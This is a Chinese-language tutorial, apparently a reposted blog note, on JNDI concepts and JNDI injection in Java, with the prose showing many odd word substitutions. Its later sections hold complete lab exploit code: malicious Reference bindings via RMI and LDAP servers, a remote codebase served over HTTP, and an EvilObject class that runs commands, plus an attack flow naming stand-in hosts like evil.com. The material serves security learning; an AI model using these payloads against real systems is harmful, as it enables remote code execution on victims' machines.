概述
临时记录以下JNDI注入的学习笔记,最近学的东西太多了,感觉知识要不进脑子了,学的东西并没有完全理解,对原理另有应用的攻击手法理解都不是很深......
保举先理解JNDI的根本概念,然后再去学习JNDI的原理以及注入什么的,要不然真的学起来非常难受......
我这里是缝合了以下博客来总结的内容,希望可以把底子知识和JNDI攻击结合起来,写的更加适合小白一些......
JNDI学习总结(一)
JNDI学习总结(二)
mi1k7ea师傅: JNDI原理 + JNDI注入 + 高版本JDK绕过
oracle JNDI官方文档
什么是JNDI?
JNDI(Java Naming and Directory Interface,Java定名和目录接口)是J2EE规范中的焦点部分之一。它为Java应用程序提供了一种定名和目录服务的统一接口,允许程序员查找和利用各种资源(如数据库、远程对象等)。许多专家认为,透彻理解JNDI的意义和作用,是掌握J2EE特别是EJB的关键。
那么,JNDI究竟解决了什么问题?我们可以通过对比“没有JNDI”和“利用JNDI”的两种方式,直观相识其作用。
没有JNDI时的开辟方式
在传统开辟中,程序员需要直接通过JDBC驱动和数据库连接字符串访问数据库。以下是一个简单的例子:- Connection conn = null;
- try {
- Class.forName("com.mysql.jdbc.Driver");
- conn = DriverManager.getConnection("jdbc:mysql://MyDBServer?user=xxx&password=xxx");
- // 执行业务逻辑
- conn.close();
- } catch (Exception e) {
- e.printStackTrace();
- } finally {
- if (conn != null) {
- try {
- conn.close();
- } catch (SQLException e) {}
- }
- }
复制代码 问题分析
这种直接编码的方式在小型项目中可行,但在复杂或长期维护的项目中会带来以下问题:
- 配置耦合:数据库服务器地址、用户名、密码等硬编码信息需要频繁修改。
- 灵活性不足:如果更换数据库(如从MySQL切换到Oracle),需要修改驱动程序类名、连接字符串等。
- 不利于扩展:体系运行时可能需要动态调整连接池参数,而直接编码的方式难以顺应。
利用JNDI的开辟方式
通过JNDI,可以将这些配置从程序中抽离出来,由容器举行管理。开辟人员只需通过名称引用资源,而不必关心资源的详细配置。
配置示例
以JBoss为例,起首在容器中定义数据源:
修改mysql-ds.xml文件:- <datasources>
- <local-tx-datasource>
- <jndi-name>MySqlDS</jndi-name>
- <connection-url>jdbc:mysql://localhost:3306/lw</connection-url>
- <driver-class>com.mysql.jdbc.Driver</driver-class>
- <user-name>root</user-name>
- <password>rootpassword</password>
- </local-tx-datasource>
- </datasources>
复制代码 Java代码引用数据源:- Connection conn = null;
- try {
- Context ctx = new InitialContext();
- DataSource ds = (DataSource) ctx.lookup("java:MySqlDS");
- conn = ds.getConnection();
- // 执行业务逻辑
- conn.close();
- } catch (Exception e) {
- e.printStackTrace();
- } finally {
- if (conn != null) {
- try {
- conn.close();
- } catch (SQLException e) {}
- }
- }
复制代码 优势分析
利用JNDI后:
- 程序不再依赖详细的数据库配置信息(如JDBC URL、用户名、密码)。
- 配置变更时,只需修改容器中的配置文件,无需调整代码。
- 提升了体系的灵活性和可维护性,支持动态资源调整。
JNDI的焦点脚色
在J2EE中的作用
JNDI是J2EE规范的紧张部分,其焦点作用类似“互换机”,为应用程序动态查找资源提供了统一机制。JNDI允许:
- J2EE组件在运行时查找其他组件或服务。
- 容器集中管理资源配置,减少开辟人员的工作量。
- 跨情况快速切换(如开辟情况和生产情况间的数据库切换)。
JNDI的技术细节
- StateFactory与ObjectFactory
- StateFactory负责保存对象的状态(类似于持久化操作)。
- ObjectFactory负责从状态信息中规复对象实例。
- SPI机制
- 通过jndi.properties文件配置服务提供者接口(SPI)。
- 支持灵活扩展,按需加载适配不同的协议和实现。
- 容器资源管理
- 从J2EE 1.3开始,资源管理职责从应用程序转移到容器。
- 应用程序通过引用资源,容器负责解析和管理详细配置。
为什么需要JNDI?
从实际场景中可以类比JNDI的作用:
- 想要联系某人时,起首拨打114查询(Context ctx = new InitialContext();)。
- 获取联系信息后,通过该信息找到目的资源(ctx.lookup("资源名称");)。
- 乐成建立联系后,开始与资源交互(如获取数据库连接并操作)。
这种解耦模式不仅提升了开辟效率,还加强了体系的弹性和可维护性。
JNDI通过提供一个统一的定名和查找接口,使J2EE应用程序中的资源访问更加灵活和动态化。它不仅解耦了应用程序与详细资源的精密关联,还为大型企业应用程序的开辟和摆设提供了便利。
简单来说,JNDI的本质就是给资源起个名字,程序通过名字找到资源。而这种间接寻址方式,是J2EE规范实现灵活性和扩展性的焦点底子。
JNDI代码示例及相关概念
Java Naming:定名服务通过键值对的方式为对象创建唯一标识,使得应用程序可以通过名称检索这些对象。
Java Directory:目录服务是定名服务的扩展,它不仅允许通过名称检索对象,还支持基于属性的搜索。
ObjectFactory:Object Factory允许将存储在定名或目录服务中的对象转换为Java中的对象。比方,它能将RMI、LDAP等服务中的数据转换为Java对象。
JNDI使得开辟者能够方便地访问文件体系中的文件、定位远程RMI对象、访问LDAP等目录服务,乃至定位EJB组件。
JNDI注入通常发生在应用程序允许用户输入并通过JNDI查找对象时。攻击者可能通过构造恶意JNDI查找请求,诱使应用加载不安全的远程对象,进而执行恶意代码。这类漏洞的关键在于JNDI能够通过ObjectFactory下载并加载远程类,攻击者可以利用这一点执行任意代码。
代码示例
以下代码展示了如何利用JNDI的bind和lookup方法举行对象的绑定与查找。
定义Person类- import java.io.Serializable;
- import java.rmi.Remote;
- public class Person implements Remote, Serializable {
- private static final long serialVersionUID = 1L;
- private String name;
- private String password;
- public String getName() {
- return name;
- }
- public void setName(String name) {
- this.name = name;
- }
- public String getPassword() {
- return password;
- }
- public void setPassword(String password) {
- this.password = password;
- }
- public String toString() {
- return "name:" + name + " password:" + password;
- }
- }
复制代码 服务端代码- import javax.naming.*;
- import java.rmi.registry.LocateRegistry;
- public class Server {
- public static void initPerson() throws Exception {
- LocateRegistry.createRegistry(6666); // 创建RMI注册表
- System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
- System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
- InitialContext ctx = new InitialContext();
- // 实例化并绑定Person对象
- Person p = new Person();
- p.setName("mi1k7ea");
- p.setPassword("Niubility!");
- ctx.bind("person", p); // 将person对象绑定到JNDI服务
- ctx.close();
- }
- public static void findPerson() throws Exception {
- InitialContext ctx = new InitialContext();
- Person person = (Person) ctx.lookup("person"); // 查找并返回person对象
- System.out.println(person.toString());
- ctx.close();
- }
- public static void main(String[] args) throws Exception {
- initPerson(); // 初始化并绑定person对象
- findPerson(); // 查找并输出person对象
- }
- }
复制代码 在上面的代码中,initPerson()方法将Person对象通过JNDI绑定到rmi://localhost:6666上的JNDI注册表,客户端则通过findPerson()方法查找并输出该对象。当然这里是通过一个main函数来同时表现了客户端和服务端。
可以简单比较一下纯RMI写法和利用JNDI检索的写法,在纯RMI写法中的两种典范写法:- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
- import remote.IRemoteMath;
- ...
-
- //服务端
- IRemoteMath remoteMath = new RemoteMath();
- LocateRegistry.createRegistry(1099);
- Registry registry = LocateRegistry.getRegistry();
- registry.bind("Compute", remoteMath);
- ...
-
- //客户端
- Registry registry = LocateRegistry.getRegistry("localhost");
- IRemoteMath remoteMath = (IRemoteMath)registry.lookup("Compute");
- 或
- import java.rmi.Naming;
- import java.rmi.registry.LocateRegistry;
- ...
- //服务端
- PersonService personService=new PersonServiceImpl();
- LocateRegistry.createRegistry(6600);
- Naming.rebind("rmi://127.0.0.1:6600/PersonService", personService);
- ...
- //客户端
- PersonService personService=(PersonService) Naming.lookup("rmi://127.0.0.1:6600/PersonService");
复制代码 而JNDI中相关代码:- import javax.naming.Context;
- import javax.naming.InitialContext;
- import java.rmi.registry.LocateRegistry;
- ...
-
- //服务端
- LocateRegistry.createRegistry(6666);
- System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
- System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
- InitialContext ctx = new InitialContext();
- ...
- ctx.bind("person", p);
- ctx.close();
- ...
- //客户端
- InitialContext ctx = new InitialContext();
- Person person = (Person) ctx.lookup("person");
- ctx.close();
- 或
- //服务端
- Properties env = new Properties();
- env.put(Context.INITIAL_CONTEXT_FACTORY,
- "com.sun.jndi.rmi.registry.RegistryContextFactory");
- env.put(Context.PROVIDER_URL,
- "rmi://localhost:1099");
- Context ctx = new InitialContext(env);
复制代码 相比之下(这段可以不看):
- 服务端:纯RMI实现中是调用java.rmi包内的bind()或rebind()方法来直接绑定RMI注册表端口的,而JNDI创建的RMI服务中多的部分就是需要设置INITIAL_CONTEXT_FACTORY和PROVIDER_URL来指定InitialContext的初始化Factory和Provider的URL地址,换句话说就是初始化配置JNDI设置时需要预先指定其上下文情况如指定为RMI服务,末了再调用javax.naming.InitialContext.bind()来将指定对象绑定到RMI注册表中;
- 客户端:纯RMI实现中是调用java.rmi包内的lookup()方法来检索绑定在RMI注册表中的对象,而JNDI实现的RMI客户端查询是调用javax.naming.InitialContext.lookup()方法来检索的;
简单地说,纯RMI实现的方式主要是调用java.rmi这个包来实现绑定和检索的,而JNDI实现的RMI服务则是调用javax.naming这个包即应用Java Naming来实现的。
Reference
Reference 类可以通俗地理解为一种“指路牌”或者“线索卡片”。它自己不是实际的对象,而是一个“指向”对象的描述信息,用来告诉 JNDI 如何找到或重新创建这个对象。如果有学过引用概念的同学应该比较好理解,Reference就像是一个详细对象的引用。
利用Reference对象可以指定工厂来创建一个java对象,用户可以指定远程的对象工厂地址,当远程对象地址用户可控时,这也会带来不小的问题。
不是直接存对象,而是存“怎么找到这个对象”
Reference 更像是一本说明书,告诉 JNDI:
- 这个对象的范例是什么?
- 这个对象在那里?
- 需要什么方法或工厂来创建这个对象?
类比场景:
想象你有一辆车停在某个停车场,Reference 就像是你手上的停车票,上面写了停车场的地址和车位号。当你需要车时,只需要根据停车票去找,而不需要真的随时随地把车带在身边。
资助延伸加载对象
有些对象可能很大,或者需要通过某种特殊方式才气创建出来。直接存储这些对象可能效率低下,或者不实际。因此,JNDI 利用 Reference 来保存这些对象的“重建方法”,当需要的时候才真正天生对象。
Reference 类包含一些关键的信息,资助 JNDI 知道如何定位或创建对象:
- 对象类名 [className]:告诉 JNDI,这个引用对应的对象是什么范例(比方 javax.sql.DataSource)。
- 工厂类名 [classFactory]:告诉 JNDI,这个引用需要哪个工厂类来资助创建对象。
- 地址(地址属性)[classFactoryLocation]:可以是额外的线索信息,比如实际的数据库连接字符串等。
为什么需要 Reference?
直接存储和绑定对象当然是可以的,但在一些复杂场景下,这种方式有明显缺点:
- 减少直接对象的存储:
如果对象特别大,比如一个数据库连接池,直接绑定可能会占用大量内存,而 Reference 只存储描述信息,轻量且高效。
- 支持动态创建:
某些对象在绑定的时候可能还不存在,需要 JNDI 动态天生。比方,数据源可以通过工厂类(如 ObjectFactory)动态创建,而不是直接绑定一个数据源实例。
- 便于跨体系共享:
Reference 提供的是关于对象的信息,而不是对象自己,这使得跨体系共享变得更容易。
举个栗子,假设我们要在 JNDI 中绑定一个数据库连接池。
直接绑定对象:
绑定一个详细的 DataSource 实例:- InitialContext context = new InitialContext();
- DataSource ds = new BasicDataSource(); // 创建一个连接池实例
- context.bind("jdbc/myDB", ds); // 直接绑定
复制代码 利用 Reference 绑定: 我们改用 Reference 来绑定:- import javax.naming.Reference;
- InitialContext context = new InitialContext();
- // 创建一个 Reference
- Reference ref = new Reference(
- "javax.sql.DataSource", // 对象的类名
- "com.example.MyDataSourceFactory", // 工厂类的名称,用于创建对象
- null // 工厂类的地址(可选)
- );
- // 将 Reference 绑定到 JNDI
- context.bind("jdbc/myDB", ref);
复制代码 在利用时,JNDI 会通过 MyDataSourceFactory 动态创建 DataSource 对象。
远程代码和安全管理器
引用原文链接:https://blog.csdn.net/u011721501/article/details/52316225
Java中的对象分为当地对象和远程对象,当地对象是默认为可信任的,但是远程对象是不受信任的。比如,当我们的体系从远程服务器加载一个对象,为了安全起见,JVM就要限定该对象的本领,比如克制该对象访问我们当地的文件体系等,这些在现有的JVM中是依赖安全管理器(SecurityManager)来实现的。
JVM中采取的最新模子见上图,引入了“域”的概念,在不同的域中执行不同的权限。JVM会把所有代码加载到不同的体系域和应用域,体系域专门负责与关键资源举行交互,而应用域则通过体系域的部分代理来对各种需要的资源举行访问,存在于不同域的class文件就具有了当前域的全部权限。
关于安全管理机制,可以详细阅读:http://www.ibm.com/developerworks/cn/java/j-lo-javasecurity/
JNDI安全管理器架构
对于加载远程对象,JDNI有两种不同的安全控制方式,对于Naming Manager来说,相对的安全管理器的规则比较宽泛,但是对JNDI SPI层会按照下面表格中的规则举行控制:
针对以上特性,攻击者可能会找到一些特殊场景,利用两者的差异来执行恶意代码。
JNDI注入
前提条件&JDK防御
要想乐成利用JNDI注入漏洞,紧张的前提就是当前Java情况的JDK版本,而JNDI注入中不同的攻击向量和利用方式所被限定的版本号都有点不一样。
这里将所有不同版本JDK的防御都列出来:
- JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。利用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
- JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,克制RMI和CORBA协议利用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来举行JNDI注入攻击。
- JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,克制LDAP协议利用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
因此,我们在举行JNDI注入之前,必须知道当前情况JDK版本这一前提条件,只有JDK版本在可利用的范围内才满足我们举行JNDI注入的前提条件。
RMI表攻击客户端
将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会利用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端当地执行,最终实现JNDI注入攻击导致远程代码执行。
- 攻击者通过可控的 URI 参数触发动态情况转换,比方这里 URI 为 rmi://evil.com:1099/refObj;
- 原先配置好的上下文情况 rmi://localhost:1099 会因为动态情况转换而被指向 rmi://evil.com:1099/;
- 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj想绑定的 ReferenceWrapper 对象(Reference("EvilObject", "EvilObject", "http://evil-cb.com/"));
- 应用获取到 ReferenceWrapper 对象开始从当地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从 http://evil-cb.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://evil-cb.com/EvilObject.class;
- 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class;
- 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在内里的恶意代码被执行;
RMI攻击实验
- JDK 1.8.0_73 或其他 1.8 版本(避免 JNDI 挟制的相关安全补丁影响)
- python情况,没有硬性版本要求,只是用来临时搭建一个HTTP文件服务器
- 任意支持 Java 的 IDE 或文本编辑器
- 确保网络情况通畅,用于远程加载 EvilObject 的 .class 文件。
发起如下文件布局,分级更加清晰:- /JNDI-Injection-Lab/
- ├── client/ # 存放 JNDIClient.java
- ├── server/ # 存放 RMIService.java
- ├── malicious/ # 存放 EvilObject.java
复制代码 client.JNDIClient.java
此代码模仿客户端调用 lookup 方法,从指定的 RMI 服务中请求对象。- package client;
- import javax.naming.Context;
- import javax.naming.InitialContext;
- public class JNDIClient {
- public static void main(String[] args) throws Exception {
- if (args.length < 1) {
- System.out.println("Usage: java JNDIClient <uri>");
- System.exit(-1);
- }
- String uri = args[0];
- Context ctx = new InitialContext();
- System.out.println("Using lookup() to fetch object with " + uri);
- ctx.lookup(uri);
- }
- }
复制代码 编译命令(我利用的是windows,所以这里我以Windows写法为准):- "C:\Program Files\Java\jdk1.8.0_73\bin\javac.exe" JNDIClient.java
复制代码 malicious.EvilObject.java
这是包含恶意代码的类,当加载时执行任意操作(此处为弹出计算器)。- package malicious;
- public class EvilObject {
- public EvilObject() throws Exception {
- Runtime rt = Runtime.getRuntime();
- String[] commands = {"cmd", "/C", "calc.exe"};
- Process pc = rt.exec(commands);
- pc.waitFor();
- }
- }
复制代码- "C:\Program Files\Java\jdk1.8.0_73\bin\javac.exe" EvilObject.java
复制代码 server.RMIService.java
实现 RMI 服务端,将恶意对象引用绑定到 RMI 注册表中。- package server;
- import com.sun.jndi.rmi.registry.ReferenceWrapper;
- import javax.naming.Reference;
- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
- public class RMIService {
- public static void main(String[] args) throws Exception {
- // 启动 RMI 注册表
- Registry registry = LocateRegistry.createRegistry(1099);
- // 创建 Reference 对象,指向恶意类文件的位置
- Reference refObj = new Reference("malicious.EvilObject", "malicious.EvilObject", "http://127.0.0.1:8080/");
- ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
- // 绑定 ReferenceWrapper 到注册表
- System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
- registry.bind("refObj", refObjWrapper);
- }
- }
复制代码 在JNDI-Injection-Lab下利用以下命令编译RMIService.java- "C:\Program Files\Java\jdk1.8.0_73\bin\javac.exe" -cp .;"C:\Program Files\Java\jdk1.8.0_73\lib\tools.jar" server/RMIService.java
复制代码 -cp 或 -classpath
-cp 参数用于指定编译时的类路径(classpath)。它告诉 javac 去那里查找所需的类或库。
- .:表现当前目录。让编译器从当前目录中查找类或包。
- C:\\xxxx\tools.jar:表现额外的依赖库路径。这里假设 RMIService.java 依赖 tools.jar 中的类。
运行
启动 HTTP 服务
利用python在 malicious/ 目录下启动 HTTP 服务,让EvilObject.class通过HTTP暴露出去,可以利用以下命令来启动一个临时的HTTP服务:- cd malicious/
- python -m http.server 8080
复制代码 可以通过http://localhost:8080来访问到对应的目录即可,说明http情况就起来了
启动RMI服务端
在 JNDI-Injection-Lab 目录下,运行 RMI 服务。- "C:\Program Files\Java\jdk1.8.0_73\bin\java.exe" -cp . server.RMIService
复制代码 启动JNDI客户端
在 JNDI-Injection-Lab 目录下,运行客户端,指定恶意的 RMI URI。- "C:\Program Files\Java\jdk1.8.0_73\bin\java.exe" -cp . client.JNDIClient rmi://127.0.0.1:1099/refObj
复制代码 弹出计算器,恶意代码被执行
在这个场景中,客户端通过 ctx.lookup(uri) 获取服务端绑定的对象时,对象的代码在客户端执行。这是因为 JNDI 和 RMI 机制会将绑定的对象(或其描述)从服务端传递到客户端,并在客户端尝试加载和利用。注意哈,这个地方和原始的RMI还不一样,让我们来比较一下区别。
JNDI 的举动
- JNDI 在客户端创建对象:
- 当客户端通过 ctx.lookup(uri) 查找一个对象时,JNDI 可能会返回一个远程对象(如 Remote 或 Reference),详细举动取决于绑定对象的范例。
- 如果返回的是 Reference,JNDI 会尝试根据 Reference 中描述的信息(包括类名和代码位置)在客户端加载并实例化对象。
- 这个机制允许远程代码在客户端执行,因此容易被利用来实现远程代码执行(RCE)。
- JNDI 特点:
- 它更像是“从服务端获取一个类描述,客户端负责加载和实例化”的机制。
- 通过 Reference 加载的类在客户端执行任何构造器逻辑,可能触发恶意代码。
RMI 的举动
- RMI 远程方法调用:
- RMI 的目的是让客户端调用服务端对象的方法,而不是在客户端创建服务端对象的实例。
- 当客户端通过 Naming.lookup("rmi://...") 获取一个远程对象时,它实际获取的是该远程对象的代理(stub)。
- 客户端调用的方法实际上是通过代理发送到服务端,由服务端的远程对象在服务端执行方法,然后返回结果给客户端。
- RMI 特点:
- 方法调用总是在服务端执行,客户端仅作为调用的发起者。
- 客户端不会加载远程对象的类文件,也不会在客户端实例化服务端对象。
RMI&JNDI主要区别
特性JNDIRMI绑定对象可以是 Remote、Reference 等范例必须是 Remote 范例的远程对象客户端举动可能加载并实例化服务端描述的类获取远程对象的代理,调用代理方法代码执行位置类的构造方法在客户端执行方法逻辑在服务端执行典范利用场景资源查找(如数据库连接)等远程方法调用,分布式对象管理安全风险可能被用来加载和执行恶意类(RCE 漏洞)需要明白定义远程接口,但安全性更高(其实也很危险hhhhhh)在RMI中调用了InitialContext.lookup()的类有:- org.springframework.transaction.jta.JtaTransactionManager.readObject()
- com.sun.rowset.JdbcRowSetImpl.execute()
- javax.management.remote.rmi.RMIConnector.connect()
- org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
复制代码 在LDAP中调用InitialContext.lookup()的类有:- InitialDirContext.lookup()
- Spring's LdapTemplate.lookup()
- LdapTemplate.lookupContext()
复制代码 总结
其着实Mi1k7ea大佬的博客中提到了多种攻击方式,但是我觉得其最终原理都是基于修改RMI的注册表,最终使得客户端从RMI的注册中获取到的是一段恶意代码,就这一点就可以概括利用方式了,就是如果我们能拿到RMI注册表修改权限就能写入恶意代码从而入侵客户端。
LDAP攻击
通过LDAP攻击向量来利用JNDI注入的原理和RMI攻击向量是一样的,区别只是换了个媒介而已,下面就只列下LDAP+Reference的利用本领,至于JNDI注入漏洞点和前面是一样的就不再赘述了。
LDAP+Reference攻击实验
情况准备
- JDK 1.8.0_73 或其他 1.8 版本(避免 JNDI 挟制的相关安全补丁影响)
- 任意支持 Java 的 IDE 或文本编辑器
引入以下maven依赖项- <dependency>
- <groupId>com.unboundid</groupId>
- <artifactId>unboundid-ldapsdk</artifactId>
- <version>6.0.11</version>
- <scope>test</scope>
- </dependency>
复制代码 代码布局如下:- /jndi-labs2/
- ├── EvilObject.java # 恶意代码
- ├── LadpClient.java # Ladp客户端
- ├── LadpServer.java # Ladp服务端
复制代码 我这里就不当地javac,然后java再去这样执行了,直接用IDEA举行调试了,照旧IDEA方便
EvilObject
- package jndi_labs2;
- import javax.naming.Context;
- import javax.naming.Name;
- import javax.naming.spi.ObjectFactory;
- import java.io.IOException;
- import java.util.Hashtable;
- public class EvilObject implements ObjectFactory {
- static {
- try {
- Runtime.getRuntime().exec("cmd /c start");
- } catch (IOException ignore) {}
- }
- @Override
- public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
- return null;
- }
- }
复制代码 LadpServer
- package jndi_labs2;
- import com.unboundid.ldap.listener.InMemoryDirectoryServer;
- import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
- import com.unboundid.ldap.listener.InMemoryListenerConfig;
- import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
- import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
- import com.unboundid.ldap.sdk.Entry;
- import com.unboundid.ldap.sdk.LDAPException;
- import com.unboundid.ldap.sdk.LDAPResult;
- import com.unboundid.ldap.sdk.ResultCode;
- import javax.net.ServerSocketFactory;
- import javax.net.SocketFactory;
- import javax.net.ssl.SSLSocketFactory;
- import java.net.InetAddress;
- import java.net.MalformedURLException;
- import java.net.URL;
- public class LdapServer {
- private static final String LDAP_BASE = "dc=example,dc=com";
- public static void main (String[] args) {
- String url = "http://127.0.0.1:8000/#jndi_labs2.EvilObject";
- int port = 1234;
- try {
- InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
- config.setListenerConfigs(new InMemoryListenerConfig(
- "listen",
- InetAddress.getByName("0.0.0.0"),
- port,
- ServerSocketFactory.getDefault(),
- SocketFactory.getDefault(),
- (SSLSocketFactory) SSLSocketFactory.getDefault()));
- config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
- InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
- System.out.println("Listening on 0.0.0.0:" + port);
- ds.startListening();
- } catch ( Exception ignore ) { }
- }
- private static class OperationInterceptor extends InMemoryOperationInterceptor {
- private URL codebase;
- public OperationInterceptor ( URL cb ) {
- this.codebase = cb;
- }
- /**
- * 客户端请求后会执行该方法
- */
- @Override
- public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
- String base = result.getRequest().getBaseDN();
- Entry e = new Entry(base);
- try {
- sendResult(result, base, e);
- }
- catch (Exception ignore) { }
- }
- protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
- URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
- System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
- e.addAttribute("javaClassName", "Exploit");
- String cbstring = this.codebase.toString();
- int refPos = cbstring.indexOf('#');
- if ( refPos > 0 ) {
- cbstring = cbstring.substring(0, refPos);
- }
- e.addAttribute("javaCodeBase", cbstring);
- e.addAttribute("objectClass", "javaNamingReference");
- e.addAttribute("javaFactory", this.codebase.getRef());
- result.sendSearchEntry(e);
- result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
- }
- }
- }
复制代码 LadpClient
- package jndi_labs2;
- import javax.naming.Context;
- import javax.naming.InitialContext;
- import javax.naming.NamingException;
- public class LdapClient {
- public static void main(String[] args) throws Exception{
- try {
- Context ctx = new InitialContext();
- ctx.lookup("ldap://localhost:1234/jndi_labs2.EvilObject");
- String data = "This is LDAP Client.";
- }
- catch (NamingException e) {
- // TODO Auto-generated catch block
- e.printStackTrace();
- }
- }
- }
复制代码 先运行LadpServer,再运行LadpClient,结果如下,恶意代码被执行,弹出了cmd窗口。
总结
JNDI注入攻击的本质其实就是修改绑定的对象,当客户端尝试获取对象时,让客户端获取到我们构造的恶意对象即可。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |